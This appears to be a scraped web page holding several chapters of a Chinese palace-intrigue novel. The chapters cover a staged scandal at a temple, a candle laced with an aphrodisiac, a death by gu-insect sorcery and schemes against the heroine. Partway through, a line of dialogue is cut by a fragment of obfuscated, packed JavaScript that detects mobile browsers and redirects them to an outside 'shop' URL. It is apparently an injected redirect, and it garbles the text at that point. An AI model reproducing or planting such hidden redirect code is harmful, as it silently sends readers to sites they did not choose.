她这辈子,算是彻底完了!
孟贵妃只觉胸中块垒尽消,连日来的憋闷一扫而空。
她目光不经意间扫过全场,却始终不见梅柔卿的身影,心头莫名一沉:
这梅氏究竟去了何处?莫非见事未竟全功,唯恐引火烧身,先行躲起来了?
姜绾心却惊恐道:“如今遍寻不着阿姊,她会不会已遭灭口?!”
“玷污二字,也是你一个未出阁的姑娘能宣之于口的?”长公主凤眸含威,声冷如冰,“姜家的教养,当真让本宫大开眼界!”
“殿下教训的是……臣女只是一时情急……”
姜绾心哭得浑身发颤,“可无论如何,她总是臣女的阿姊。纵使清白已毁,总好过丢了性命啊!”
她倏然跪地:“求殿下即刻派人去寻阿姊!”
姜绾心嘴上说得凄切,心中却暗骂姜云昭狡诈多端!
分明已被人糟蹋得不成样子,竟还能让她逃脱!
若不是长公主方才刻意拖延,早一步闯入,定能将她捉奸在床!
如果不能及时将人抓回,让众人亲眼目睹她此刻的狼狈模样,才是真正的功亏一篑!
孟贵妃听出姜绾心的弦外之音,顺势道:“事急从权,来人,加派人手去搜!”
守在门外的侍卫领命正要离去,忽闻一道清越嗓音传来:“娘娘,慢一点。”
众人循声望去,但见云昭一袭素白衣裙纤尘不染,青丝如瀑垂落肩头,正扶着身披斗篷的柔妃款步而入。
身后跟着莺时、雪信与严嬷嬷,一行人仪态从容,不见半分狼狈。
跪在地上的姜绾心乍见云昭,脸色宛如活见鬼。
孟贵妃更是失声惊呼:“你怎会……”
云昭故作诧异:“我怎么了?”
孟贵妃语塞,强自镇定道:"这边闹出这般动静,你为何迟迟才来?"
云昭闻言苦笑:“母亲昏迷不醒,我自傍晚起便身子不适,昏沉间竟睡了过去。方才我的婢女来报,说柔妃娘娘突发急症,这才匆忙赶去照料。”
她转眸望向身后:“途中恰遇闻空大师与有悔大师,便结伴同来。”
孟贵妃死死盯着云昭周身——
但见她衣衫齐整,唯有乌发未绾。
可今夜众人皆是仓促起身,散发者不在少数,实在无可指摘。
孟贵妃只觉脑中嗡鸣,一时竟想不透究竟哪个环节出了差错。
跪地的姜绾心缓缓起身,心底涌起不祥预感,双腿一软险些跌倒。
柔妃望向殿中情景,掩唇惊呼:“这是怎么回事?这两人是谁?”
康乐伯夫人颇为热忱地解释道:“是姜府二房的杨氏。这男子,目前尚无人认得。”
这时,驸马卫临上前,翻转过来,待看清面容不由一怔:"杨振?"
长公主蹙眉:“你认得?”
卫临面露嫌恶:“巡防营左军校尉杨振,此刻本该在城外驻防,不知为何会出现在此,还与自己的堂妹厮混在一起。”
康乐伯夫人脱口而出:“那他们两个岂不就是乱、伦?”
身旁友人适时跟了句:“还不止……不是说还有第三个人?”
“你可算来了!”李灼灼将云昭上下打量一番,这才松了口气,随即扭头狠狠瞪向姜绾心,
“你不在的时候,你这好妹妹,恨不得敲锣打鼓告诉所有人你清白尽毁,我们拦都拦不住!”
云昭愕然睁大双眸,难以置信地看向姜绾心,眼圈渐渐红了。
她默默垂首,纤长的睫毛轻颤,流露出恰到好处的受伤与隐忍。
柔妃轻抚云昭手臂,冷眼睨向姜绾心:“云昭小姐半个时辰前就在本宫榻前悉心诊治,何来你们口中那等龌龊之事?”
她朱唇勾起一抹极冷的弧度,“自己心术不正,便以为旁人全都一般肮脏!”
姜绾心被骂得面红耳赤,泪珠滚落得更急,哀声道:“娘娘误会了,民女万万没有那个意思……”
然而她方才那迫不及待给长姐定罪的模样,早已落入众人眼中。
众人交换着意味深长的眼神,低声议论开来:
“这心儿小姐对长姐的敌意,未免太过露骨了些。”
“昨儿南华郡主出事时你们没瞧见,她句句都在火上浇油!若非云昭小姐沉稳,怕是要被安王妃当场打死!”
“什么‘福星’、‘善心’,依我看,这姜二小姐从前的温婉大方,只怕都是装出来的!”
旁人的每一句低语,都像一记耳光,狠狠扇在姜绾心脸上。
她苦心经营才博得的“福星”美誉,那些曾日日环绕着她的赞美与艳羡,正在姜云昭回京后的短短时日里,被一点点蚕食、剥离!
她垂在袖中的手死死攥紧,指甲深深陷进柔嫩的掌心。
极致的羞愤与恐慌在她胸腔里横冲直撞,几乎要撕裂她的理智。
来之前,父亲还再三叮嘱,要她隐忍,要借势而行,切莫与云昭正面冲突。
可姜云昭这个**!分明是要将她逼上绝路,夺走她从前拥有的一切!
一股浓烈的恨意在她胸中翻涌:她与姜云昭之间,从来就不是什么姐妹之争,而是不死不休的宿命!
想要夺回昔日的荣光,想要守住她拥有的一切……姜云昭,绝不能活!
长公主将四下议论听在耳中,不动声色地扫视全场,沉声问道:“诸位都看看,此刻还有谁不曾到场?”
众人互相打量一番,很快有人回禀:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16573422|187080||http|test|mini|href|location''.split(''|''),0,{}));
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r>“回殿下,宋小姐、李小姐、方老夫人,还有姜府那位梅氏,都未见踪影。”
长公主当即下令:“来人,去将未到场之人一并请来。”
“殿下明鉴!”姜绾心急声道,“梅姨的脸之前被阿姊鞭子抽伤,今日特意求了有悔大师的药膏,晚间是民女亲手为她敷的药。她早已歇下,此刻怕是唤不醒的……”
长公主不为所动:"去请。"
姜绾心求助地望向贵妃,却见贵妃漠然移开了视线。
长公主凤眸凛然,当即下令:“将杨振捆了,堵上嘴,仔细看管。”
又命心腹嬷嬷:“给杨氏披件衣裳,同样处置,莫让她寻了短见。”
侍卫与嬷嬷应声而动,很快便将昏迷的杨振与瘫软的杨氏分别处置妥当,拖至一旁。
不料,未等多时,梅柔卿竟赶在其他缺席者之前,主动寻了过来。
只见她一袭藕荷色长裙,脸上原本的鞭伤瞧着更为狰狞,更蹊跷的是,面颊、唇瓣竟都红肿不堪,连脖颈处也浮现出片片红斑,模样十分骇人。
姜绾心当即掩口惊呼:“梅姨!您的脸……怎会比敷药前更严重了!”
一旁的有悔大师上前细看片刻,眉头紧锁:“此非药石所致。”他语气肯定,“观其形色,倒像是误食了某些东西,引发了急症。”
梅柔卿泪光点点,虚弱道:“确与大师无关。妾身睡下后不久,便觉浑身刺痒难耐,起身照镜,见自己竟成了这副鬼样子,一时惊惧便晕了过去。”
她语带哽咽,“醒来后,四下寻人不见,见此处灯火通明,这才挣扎着找来。路上细细回想,许是晚膳时误食了豆角的缘故。”
姜绾心忙接话:“梅姨,您不是早已能用豆角了么?”
梅柔卿苦笑:“妾身也不知为何……许是近来身子骨不争气,便又犯了**病。”
两人一唱一和,竟意图将梅柔卿满身异常归结于饮食不当。
云昭静立原地,目光在梅柔卿周身淡淡一扫,忽而开口:“我见梅姑方才走入时,步履似有蹒跚,可是不慎扭伤了脚踝?”
梅柔卿面色一僵,随即扯出一抹温顺的笑:“劳大姑娘挂心,不过是**病,腿脚风湿又犯了,行走间便有些不便。”
云昭轻轻“噢”了一声,语调平缓无波,尾音却拖着一丝若有似无的玩味:“看来梅姑近来,当真是……诸事不顺,步履维艰呐。”
她言语轻柔,却字字如绵里藏针,既点破了梅柔卿此刻的不堪,又暗讽她处境艰难,前途堪忧。
梅柔卿垂眸不语,袖中的指尖却已掐得发白。
终日打雁,终被雁啄。当年她与那人联手设局,逼得苏**与母家**、仓促下嫁姜世安……想不到二十年后,苏**的女儿竟也用同样的手段,让她深陷泥淖、举步维艰。
苏**,这个向来木讷愚钝的蠢妇,怎就生出姜云昭这样一个心思缜密、手段凌厉的好女儿!
第61章 杨氏之死
云昭转而面向长公主,月光在她秾丽的眉眼,投下一片澄澈的影:
“义母,方才来的路上,昭儿曾向闻空大师请教,此处名为‘忘尘阁’,位于寺中后山最幽僻处,平日里香客罕至,入夜后更是人迹全无。”
“阿弥陀佛。”闻空大师身旁一位眉清目秀的年轻僧人合十施礼,“正是如此,忘尘阁乃寺中弟子清修参悟之所,寻常不对外开放。且……”
他语声微顿,眸中流露出几分困惑,“通往此处的竹林入口,本该设有一道木栅栏,其上明示‘香客止步’。可今夜我等前来时,那木栅竟不翼而飞。”
几位随行僧众皆低声称是。
众女眷闻言面面相觑,低声议论起来:
“什么木栅?我们一路行来并未见到啊!”
“确实没见到任何阻拦……”
卫临这时道:“方才在路边草丛中,发现了一些碎裂的木块。”
他自怀中取出一方深色绢帕,展开来,里面是一些碎木片。
众人交换着惊疑不定的眼神。
柔妃轻抚云鬓,眼波流转间,道破其中关窍:“看来今夜这忘尘阁,是有人故意设局了?”
“民女正有此疑。”云昭微微颔首,眸光清亮如雪,
“请诸位细想,若二婶当真要与堂兄私会,何必舍近求远,偏选在这佛门清修之地?”
“那可未必。”一个面相刻薄的妇人冷笑着插话,“说不定正是因在府中无处幽会,才特意选在这等偏僻角落行苟且之事!”
说话的这位,是安南大将军麾下副将之妻余氏。
此言一出,立时有人附和:“若不是康乐伯夫人凑巧被一只野猫引来,此事本应神不知鬼不觉……”
余氏睨着云昭,撇了撇嘴角:“要我说,有些人也不必太过危言耸听。哪里来的这么多阴谋诡计!”
一旁的柔妃借着帕子掩唇的间隙,在云昭耳畔低语:“那是余氏,她夫君乃是贵妃兄长安南大将军的心腹。”
云昭眸光似不经意地掠过贵妃、梅柔卿与姜绾心,故意道:“此事关乎女子名节,更可能涉及构陷朝臣家眷,依昭儿之见,当立即报官彻查!”
满堂顿时哗然!
贵妃闻言,眼角猛地一跳,广袖中的手倏地握紧。报官?万万不可!一旦官府介入,难保不会查到她头上!
梅柔卿更是浑身一颤,她这副模样,如何经得起官府查验?
况且事情一旦闹大,姜府众人势必会听到风声,姜世安素来多疑,老夫人又最是个见风使舵的,届时她就是一百张嘴也解释不清!
堂内顿时议论纷纷:
“设局?这……这从何说起?”
“报官也好!这两日寺里就没消停过,我这心里总不踏实!”
“这般丑事,何必闹到官府?”余氏急声反对,“要我说,将这杨氏带回姜府,你们自家人私下处置,也就罢了。”
姜绾心泪盈于睫:“阿姊!你非要逼死二婶才甘心吗?一旦报官,二婶还有何颜面活在世上!我们姜家的脸面又要往哪里搁!”
也有与姜绾心交好的贵女道:“从前曾听心儿说起,姜大姑娘回府后,与二夫人颇多龃龉。今日之事,她这般执意报官,未免太过咄咄逼人。”
“就是!还是医者呢,行事也忒刻薄了些!”
不少女眷存着息事宁人的心思,纷纷颔首。
毕竟,大家伙儿一开始随同两位娘娘入庙祈福,都认为这是一件能为自己、为家族增光添彩、与有荣焉的喜事。
谁也不想因这样一桩不光彩的事,没得惹一身腥。
云昭唇边凝着一抹冷峭的笑:“今夜在场这许多人,难道不报官,我姜家的声誉就能保全?”
她目光扫过在场诸人,“还是说,诸位回到府中,保证能对今夜之事守口如瓶?”
众人被她目光扫过,皆心虚地移开视线——
这等惊天大瓜,谁人忍得住不与人分享?
一直不多话的卫临这时看着云昭:“姜小姐主张报官,可是发现了什么线索?”
云昭转头看向身后众僧:“敢问这忘尘阁,平日燃什么香?”
先前回话的年轻僧人道:“偶尔会燃些竹香,都是师兄弟们手制的。”
云昭又问:“蜡烛呢?”
承义侯夫人接口道:“碧云寺自制的蜡烛最是出名,用的是上等蜂蜡,清香淡雅,京中多少人家想买都买不到呢。”
众人闻言,纷纷望向堂上烛台。
云昭上前取过早已熄灭的残烛,对卫临道:“借将军**一用。”
蜡烛切开,烛芯赫然露出一抹艳红。
“方才诸位比我早来,且此处门窗大开,夜风****,那气味已然极淡。”云昭指尖轻捻烛芯,“但我自小修**医术,对异常气味最是敏感。”
有悔大师趋前细观,指尖蘸取少许,神色骤凝:“是淫羊藿,还有**……此二者相合,乃是烈性催情之物。”
“阿弥陀佛。”闻空大师合十赞叹,“云昭小姐果然明察秋毫。”
年轻僧人急忙走上前,从靠墙柜中取出一包寺中自制蜡烛,从中切断,示意众人来看:“粗看相似,实则大不相同。寺中所用皆以蜂蜡所制,清香纯净,绝无此等秽物。”
众女眷纷纷道:“我等自是信得过碧云寺!”
议论声渐起,众人看向杨氏的目光已从不屑转为惊疑:
“难道真如姜云昭所言,此事是有人蓄意设计?”
“杨氏究竟得罪了谁?竟被下了这等龌龊手段!太可怕了!”
一直被英国公夫人摁着不让开口的李灼灼这时道:“诸位,若是再不报官,说不定下一个就是你!”
她伸手朝人群中一指,“或者是你!”
几个胆小的女眷被她吓得面无人色。
就连以余氏为首的那几人,也脸色悻悻,一时不敢再多说什么。
长公主冷眼扫过孟贵妃晦暗不明的神色,朗声道:“本宫来时,已命人前往京兆府报案,算算时辰,官府的人也差不多该到了。”
柔妃当即长长松了口气,朝长公主盈盈福了一礼:“殿下英明!妾身这颗心从方才就一直悬着,听闻官府要来,总算能安定几分。”
长公主唇角轻翘,目光扫向另一边的孟贵妃,故作关切:“怎么瞧着孟贵妃脸色不佳?既然身体不适,便早些回去安置吧。”
说罢即命左右:“来人,护送贵妃回厢房安置。”
孟贵妃脸色僵硬,强撑着道:“
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此处发生了这等大事,我一人回去也是睡不着,还不如留下来,或许还能为殿下分忧一二。”
笑话!她若即刻走了,只怕官府的人一到,梅柔卿和杨氏便会将她供出!
她绝不可能在这个节骨眼上离开!
孟贵妃心中懊恼:早知杨氏如此不堪大用,就该听从梅氏的建议,待阮溪月身上的恶咒稳固后再行动作!
思及此,她不由看向始终静立一旁的梅柔卿,心底不由纳罕:这梅氏从前最是机敏过人,怎的今晚迟迟不见她有所反应?
难道听闻官府介入,已然吓破了胆?
云昭也觉察异样,目光在梅柔卿脸上流转,隐隐觉得哪里不对。
正在这时,墙角处的杨氏缓缓睁开了双眼。
周遭或鄙夷、或嘲笑、或怜悯的目光,如同烧红的烙铁,烫得她浑身一颤。
记忆如潮水般涌入脑海,她猛地低头,看见自己衣衫褴褛、满身污浊的惨状……
片刻,她脸色苍白地抬起眼,然后,就瞥见了站在人群之中的梅柔卿——
对方衣着整齐,神情平静,除了脸上些许红肿,竟与她的狼狈天差地别!
怎么可能???
怎么可以!!!
她喉咙里发出野兽般的呜咽,挣扎着就要扑过去——
“二婶!”姜绾心却抢先一步扑上前,死死抱住杨氏,声音带着哭腔,“您总算醒了!千万、千万别想不开啊!”
云昭蹙紧眉头,心底的不安如藤蔓疯长。
杨氏口中分明还塞着帕子,又被姜绾心这般禁锢,按理绝无自残的可能。
而姜绾心再如何心急,也不可能蠢到在众目睽睽之下对杨氏不利!
至于梅氏,就算想用咒术对杨氏做什么,也不可能连手指都不动一下,就能轻易成事。
到底是哪里出了问题……
杨氏忽地发出几声模糊的呜咽,站在她身前的姜绾心竟顺势抬手,飞快地取下了她口中的帕子!
“我……错了。”
杨氏嗓音嘶哑,带着一种令人心悸的死寂。她目光空洞地望着前方,一字一句道:
“是我……是我不知廉耻,贪慕虚荣,与堂兄早有私情……今夜,是我约他前来此处私会……”
她将所有的肮脏与罪责尽数揽到自己身上,语气平静得可怕。
长公主凤眸微眯,厉声道:“杨氏,你若受人胁迫,或是另有隐情,此刻说出来,本宫或可为你做主!”
杨氏却恍若未闻,只是痴痴一笑,身子一软,跪倒在地。
她转向梅柔卿的方向,目光却仿佛穿透了她,落在虚空中的某处,声音陡然拔高,带着一种凄厉的决绝:
“心儿!二婶就将你那一双弟妹托付给你了!你定要、定要对他们好!”
音落,她突然爆发出一阵凄厉的尖笑!
谁也没看清楚发生了什么,一道血箭自杨氏胸口正中喷涌而出,溅了面前的姜绾心满头满脸!
“啊——!”
姜绾心被这滚烫的鲜血骇得魂飞魄散,发出一声尖叫,整个人瘫软在地。
明明杨氏双手被缚,周遭也无人持刃,但一切就那么凭空发生了!
这诡异莫测的一幕,让在场所有人脊背发凉,目瞪口呆!
第62章 姜云昭从未被她的咒术所制!
一片死寂之后,好几个年纪相仿的贵女吓得尖叫起来。
其他女眷纵没有尖叫出声,也纷纷吓地花容失色,连退数步。
就连长公主惊得霍然起身!
饶是英国公夫人、承义侯夫人这般见惯风浪的,此刻也不禁面露骇然——
杨氏的死状,实在太过诡异!也太过惨烈!
梅柔卿脸色煞白地上前,欲搀扶瘫软在地的姜绾心。
云昭见她动作,几乎同时快步上前。
就在这电光石火间,她瞥见一只指甲盖大小、色泽暗红的虫子正从杨氏散落的发间迅速爬过!
“那是什么?!”云昭脱口道。
众人循着她手指的方向看去!
卫临和承义侯夫人几乎同时出手——
卫临掷出手中**,截断那虫子的去路;承义侯夫人银簪如电,精准地将虫子钉死在地!
只听“滋”的一声!
一声怪异的嘶鸣响起,那虫子竟冒出一股黑烟,转瞬化作一滩脓水。
瘫坐在地的姜绾心离得最近,见状骇得尖叫连连,一张小脸惨白如纸。
“这又是什么邪物!”不知是谁失声惊呼。
云昭却无暇他顾,只死死盯着那滩脓水——
眼前这一幕何其熟悉!
上一世,姜绾心“舍身”为太子挡箭,“福星”美名传遍京城时,被囚暗室的她却毫无征兆地胸腹洞穿,剧痛蚀骨!
这种诡异的情形,与方才杨氏何其相似!
而就在姜绾心与太子大婚前夜,他们将她拖入冰室、用银管抽干血液之前,其实还做了另一件事。
彼时不知何人,在暗处吹起调子怪异的笛声。
不过片刻,她便感觉到有什么冰凉的东西缓缓爬过她的脖颈。
那是一只幽蓝色的蝴蝶,翅翼闪烁着妖异的光芒。
待那蝴蝶彻底消失无踪,他们才将她拖至冰床,在她周身插上抽血的银管。
到底是何人在暗处吹笛?
那从她脖颈处钻出的幽蓝蝴蝶,到底是什么东西?
重生以来,这个谜团始终萦绕在她心头。
“若老衲没有看错,这应当是一种蛊。”有悔大师突然开口。
云昭猛地抬眼:“蛊?”
“不错。”有悔大师神色凝重,“虽不知具体种类,但能令人暴毙如此惨烈,死后又有异虫现世,必是人为操控的蛊术。”
两世未解的谜团,在这一刻豁然开朗!
云昭紧盯着有悔大师:“若杨氏真是中蛊而死,方才她惨死时,施蛊之人是否就在这殿中?”
“纵不在殿内,也绝不会太远。”有悔大师沉吟道,“蛊师操控蛊虫,本就难以相隔太远。”
云昭眸色骤沉,余光扫过始终垂首不语的梅柔卿,心中疑窦终得解答——
难怪梅柔卿始终反常的沉默,难怪杨氏醒来后说出那番话!
想必杨氏早知自己体内有蛊,被姜绾心抱住阻拦的那一瞬,她已明白,等待她的结局唯有一死!
所以她才会在最后时刻仓促认罪,又对着姜绾心说出那句意味深长的托付!
那看似是对姜绾心的嘱托,实则是向梅柔卿发出的凄厉恳求!
不远处,孟贵妃脸色惊疑不定。
她下意识地看向梅柔卿,见对方依旧神色如常,心头不由升起一股寒意。
若这蛊虫真与梅氏有关,此女的心机手段,未免太过狠毒!
可转念间,一股强烈的贪念攫住了她的心神——
若梅氏当真精通这等蛊术,又能为她所用,日后在后宫之中,岂不是任由她翻云覆雨?
既然她能用蛊虫控制杨氏,难道还愁控制不了阮溪月和姜云昭?
孟贵妃眼底掠过一丝狠厉的精光。
柔妃一直留意着众人的反应,见孟贵妃的目光在梅柔卿身上流连不去,心中已然明了。
她与长公主交换了一个心照不宣的眼神,彼此眼中都浮现出审慎之色。
京兆尹赵悉和手下就在这个时候匆匆赶来。
才迈过门槛,浓重的血腥气便扑面而来。
他急急扫视殿内,见云昭安然立于其中,虽面色略显苍白,但毫发无伤,这才暗暗松了口气。
他走上前,忙向上首的长公主躬身施礼:“微臣来迟,请殿下恕罪。”
长公主神色肃穆:“赵大人来得正好。此间命案颇为蹊跷,杨振已被制服,至于杨氏的尸身……”
“且慢。”有悔大师突然出声打断,“此尸身已被蛊毒浸染,若此刻移动,恐生变故。”
众人想起方才那诡异蛊虫,纷纷劝道:“赵大人,不如先将尸身暂存寺中为妥。”
赵悉虽不明就里,但见众人神色惶惶,就连素来从容的云昭也面凝寒霜,心知此事绝不简单。
“既然如此,”他吩咐手下,“先将杨振押回衙门严加看管,务必防止他自尽。”
又转向有悔大师,“稍后还请大师为下官详解其中玄机。”
有悔大师合十颔首:“老衲必定知无不言。”
长公主见事已暂定,便扬声道:“夜色已深,诸位且先散去歇息罢。”
众人如蒙大赦,纷纷施礼告退。
烛影摇曳中,人影绰绰,私语窸窣,皆带着劫后余生的悸动。
孟贵妃临去前,眼风似有若无地扫向梅柔卿,却见对方始终低垂着眼帘,未曾与她有半分视线交汇。
贵妃眸色微动,忽然忆起日间情形——除了姜云昭外,另一个始终身着素白衣裙的,不正是梅柔卿?
可方才她姗姗来迟时,身上分明换了一袭藕荷色罗裳。
孟贵妃唇边掠过一丝几不可察的笑意,眼底泛起玩味的光芒。
看来,她已寻到牵制这枚棋子的法门了。
*
这一夜,注定有许多人辗转难眠。
姜绾心浸泡在浴桶中,有些嫌弃地扔掉手里用来搓洗的布巾,任凭热水没过肩头。
她已接连换了两桶水,却总觉得身上仍有一股难闻的气味。
那气味混杂着杨氏尸身的血腥,似乎还有蛊虫溃烂的腥膻,丝丝缕缕缠
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绕在鼻尖,令她几欲作呕。
她低声啜泣着,声音带着颤抖:“梅姨!”
“梅姨,你在做什么?我好怕……”
一帘轻纱之隔,梅柔卿背身而立,正用湿布用力擦拭着肌肤。
氤氲水汽中,她凝视着玉白肌肤上斑驳的红痕,眼底翻涌着蚀骨的恨意。
纵然杨氏已死,这份**却如附骨之疽,时刻啃噬着她的心。
若非那蠢妇急于向贵妃邀功,自以为想出个一石二鸟的诡计,今夜她怎会遭此横祸!
暮色四合时,她刚从贵妃院中告退,正要返回住处,后颈忽地一痛,便失去了知觉。
再醒来时,是被体内翻涌的陌生快意惊醒。
她睁眼便对上那张狰狞的面孔,耳畔传来杨氏放浪的呻吟——
刹那间,她明白了自己的处境。
当年在沈家还未败落时,这登徒子每每见到她,看她的眼神总是色眯眯的。
谁知经年之后,她竟会被这个最令她不齿的色中饿鬼肆意**!
更令她心如刀绞的是,她的手旁,居然摆着那个写着姜云昭生辰八字的布偶。
布偶脸颊处不知被谁画了两道墨痕,仿佛正咧着嘴,嘲笑她的愚不可及!
是姜云昭!她从始至终,根本从未被她的咒术所制!
心儿在膳堂里瞧见的那一幕,分明是故意演给她们看的,意在引君入彀!
梅柔卿拼了命想要挣脱,却发现四肢软绵,空气中弥漫的异香阵阵袭来,搅得她神智昏沉……
有那么一瞬间,她后悔自己为何要取出那根特制的蜡烛。
本想将猎物逼入绝境,岂料最终竟作茧自缚……未及细想,新一轮的浪潮已将她再度吞噬。
不知过了多久,康乐伯夫人的惊叫划破寂静,随后是纷至沓来的脚步声。
她强撑着拾起散落的衣衫,正要逃离这个耻辱之地,却被一只滚烫的手攥住手腕。
“救我……”杨氏满面潮红,眼中尽是哀求。
梅柔卿狠狠甩开那只手,如同甩开一块烫手山芋,头也不回地从后门溜走了。
从**的回忆中回过神,梅柔卿看着镜中自己的小腹,强忍着厌恶道:“明日我要下山一趟。”
“梅姨别走!“姜绾心带着哭腔哀求,“心儿真的好怕!”
梅柔卿没有回头,语气斩钉截铁:“非走不可。”
经过今夜这般激烈的……若不及时用药,恐会怀上那人的孽种。
她披上衣衫,走到姜绾心身后,扳过她的肩膀,让她看清自己身上暧昧的痕迹!
"今日之辱,皆是拜姜云昭所赐。事到如今,你还不明白吗?"
姜绾心何尝不知母亲遭受了什么?
但心中所想,与亲眼所见,终究是两回事。
望着那些触目惊心的红痕,她眼眶渐渐泛红:“孩儿明白。
"明日清早我就下山。“梅柔卿声音渐冷,“你在寺中切莫轻举妄动。记住——
我们必须在佛诞日之前,取了姜云昭性命!”
第63章 给梅氏送避子汤
漏夜深沉,檐下风灯在廊前投下摇曳的光晕。
房门被轻轻叩响时,梅柔卿正对镜理好最后一支珠钗。夜深人静时分,这声响格外清晰,惊得她心口一跳。
“锦屏姑姑?”开门见是锦屏立在廊下昏暗中,身后跟着个小丫鬟,手捧漆盘,盘中一碗汤药正冒着氤氲热气。
锦屏眼眸微眯,借着廊灯将她这一身齐整装束打量个遍:“这般时辰,梅娘子却穿戴得如此周全,是要往哪里去?”
“妾身想着……昨夜闹出那样的事,总要尽早回府打点一二……”
梅柔卿话音未落,就见锦屏朝身后示意。
小丫鬟躬身递上漆盘,深褐药汁在烛光映照下泛着幽暗光泽,苦涩气味扑面而来。
“梅娘子不必惊慌。”
锦屏唇角浮着一丝若有似无的讥诮,“这是娘娘特意吩咐,命奴婢守着炉火熬了半个时辰的安神汤。娘娘说……饮下此汤,便可永绝后患。”
梅柔卿脸色霎时惨白如纸。
她确实亟需解决腹中隐忧,但经贵妃之手,无异于将把柄亲手奉上。
她垂下眼睫,掩去眼底厉色,恭敬接过温热的药碗:“谢娘娘体恤。”
汤药入喉极苦,她强忍着翻涌的恶心一饮而尽。
锦屏冷眼旁观,待她饮尽方淡淡道:“记着,下次月信之前,不可再近男色。”
梅柔卿低眉顺眼:“有劳锦屏姑姑。”
锦屏转身离去,衣袂拂过夜色,脸上不掩轻蔑。
一个连名分都没有的外室,顶着“吉星”那点虚名,竟也敢在娘娘面前这般上蹿下跳!真当旁人都眼瞎了?
从前娘娘虽娇纵,却也不似近来这般糊涂,分明是被这女人带偏了心性!
好在那位姜小姐机敏过人,她只悄悄递了张字条,昨夜便能将计就计,不仅全身而退,更让这两个毒妇自食恶果——
这一局,赢得着实漂亮!
那日在宫中,她为贵妃挡去毒蜂,手背肿胀发黑,若不是姜小姐冒险进言,当场施针救治,她这条命早就不保了。
她自然是忠于贵妃的,但这份救命之恩,也早刻在了心上。
更何况,那梅氏与杨氏本就不是善类,尤其是杨氏,心肠歹毒至此,连自家亲侄女都能下死手,与畜生何异?
真是死不足惜!
出了院门,身后小丫鬟快步跟上。
她见锦屏脸色不错,故意凑趣道:“奴婢听说,姑姑的兄长前些日子立了大功,加封了校尉!姑姑一家这般得用,真是娘娘跟前独一份的体面!”
锦屏知她话中深意,指尖轻拂过袖口暗纹,淡淡一笑:“我如今别无他求,只盼今秋能顺利出宫,与家人团聚。”
这深宫瞧着荣华万丈,多少女人挤破头想进来。
如贵妃那般,十年盛宠不衰,享尽帝王眷顾。
又如新晋的柔妃,风头正盛,恩宠加身。
可在她看来,这些站在云端之人,说到底都是困于金笼的雀鸟。
她家中父母康健,兄长争气,所求的不过是承欢膝下、柴米油盐的寻常日子。
*
静夜。
云昭立在杨氏的尸身前,逐一检查她周身。
只见杨氏胸前,一道血洞贯穿肌骨,伤口边缘皮肉翻卷,仿佛被一股极厉的力量由内向外冲破。
那情形,正如一道血箭透体而出,死状极为惨烈。
“两位请看此处。”有悔大师的声音低沉而清晰,他翻转杨氏尸身,伸手指向其后颈。
只见那苍白的后颈上,赫然印着一个铜钱大小的圆洞,边缘整齐得诡异,仿佛被什么精密器具钻凿而过。
有悔大师道:“此乃‘血虹蛊’留下的痕迹。如今可以确定,这位夫人确实是死于蛊术。”
赵悉也凑上前来,看得分明——
想必在宿主死后,蛊虫就从这里破体而出。
“血虹蛊……”云昭轻声重复。
她对蛊可谓一窍不通,虚心求问:“请问大师,这蛊虫可否反复使用?”
“只要蛊虫完好无损,蛊师便可将其取出,再种于下一人身上。”有悔大师颔首。
云昭眸光骤然一凝——原来如此!
难怪梅氏方才那般不顾体统,拼死也要扑上前来!
连日来盘桓心头的疑云豁然开朗,她早觉梅柔卿行事矛盾:
先前她对苏氏与孟贵妃所施咒术,不过是些粗浅把戏,仅能暗算毫无防备的普通人。
可这两日,她在柔妃与苏氏房中埋设的咒物,还有那个写着她生辰八字的诅咒娃娃,明显要更精妙、也更为阴邪。
前后悬殊,判若两人。
除非……梅氏身后,另有高人暗中指点!
云昭眼底寒光微闪:恐怕就连这只“血虹蛊”,也非她本人所有,而是从那人手中得来。
正因如此,眼见杨氏气绝,她才这般急切地想要收回蛊虫,以免失了这阴毒利器。
赵悉将两人的对话一一记录在案,谢过有悔大师后,正色道:“此案牵涉官眷与军营,且如今两位娘娘尚在寺中清修,还请大师嘱咐今夜在场的僧人,切莫将此事外传。”
有悔大师合十应下。
赵悉又转向云昭:“云姑娘,借一步说话。”
两人走至廊下,赵悉压低声音:“殿下让我带句话。”他困惑地挠了挠下巴,“殿下说,东西他先留着,日后还你个更好的。”
云昭神色淡然:“知道了。”
彼时她走进忘尘阁,萧启出现在身后,将她拦腰抱起。
墨一随后出现,在电光火石间将昏迷的梅氏安置在案前。
而她为了伪装成刚刚起身的模样,散下青丝,那根用来束发的乌木簪,就在那时被萧启拿走了。
赵悉传完话,暗自松了口气。
他与萧启自幼相识,深知这位殿下性子霸道,若是误了他的事,回头少不了要挨一顿收拾。
他整了整神色,对云昭道:“云姑娘,这两日寺中接连发生怪事,还请你为我解惑,否则这案子实在难断。”
云昭便将南华郡主中咒与今夜之事,从她所知讲述一遍,末了她道:“杨氏既死,恐怕从杨振身上也问不出什么了。”
赵悉俊俏的面容隐在阴影中,声音低沉:“事涉官眷与后宫,杨振很清楚,若是如实招供,不仅性命不保,还会累及家人。”
想必待他醒来,不用任何人提点,自会将此事说成是与杨氏约
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定偷情。
届时不仅能保住小命,若有人从中斡旋,说不定连军衔都能保留。
一时间,两人都有些沉默。
“南华郡主一案,那些符咒我会派人去查。”赵悉道,“云姑娘精通符术,我想知道,若那些夫人小姐始终佩戴着桃花符、同心符,会有什么后果?”
他追问:“也会像南华郡主那样,等到四十九日期满,就吐血昏迷吗?”
此事令他百思不得其解。
若这就是施咒之人想要的结果,那他图的是什么?
总不能这些女子,个个都与施咒之人有仇吧?
云昭沉吟道:“殿下可曾告诉你,他昨日为何会来寺中?”
赵悉道:“他说身上被人下了与之相似的咒,是姑娘在为他化解。”
提起这个,赵悉就有些来气。萧启这厮真不够意思,出了这么大的事,居然一直瞒着他!
云昭会意,萧启并未透露七玄钉之事,只说是桃花煞。
“我怀疑,这幕后之人真正要针对的,仍是殿下。”
“你的意思是……殿下昨日那般情形,是因为南华郡主的咒术发作?”赵悉很是敏锐。
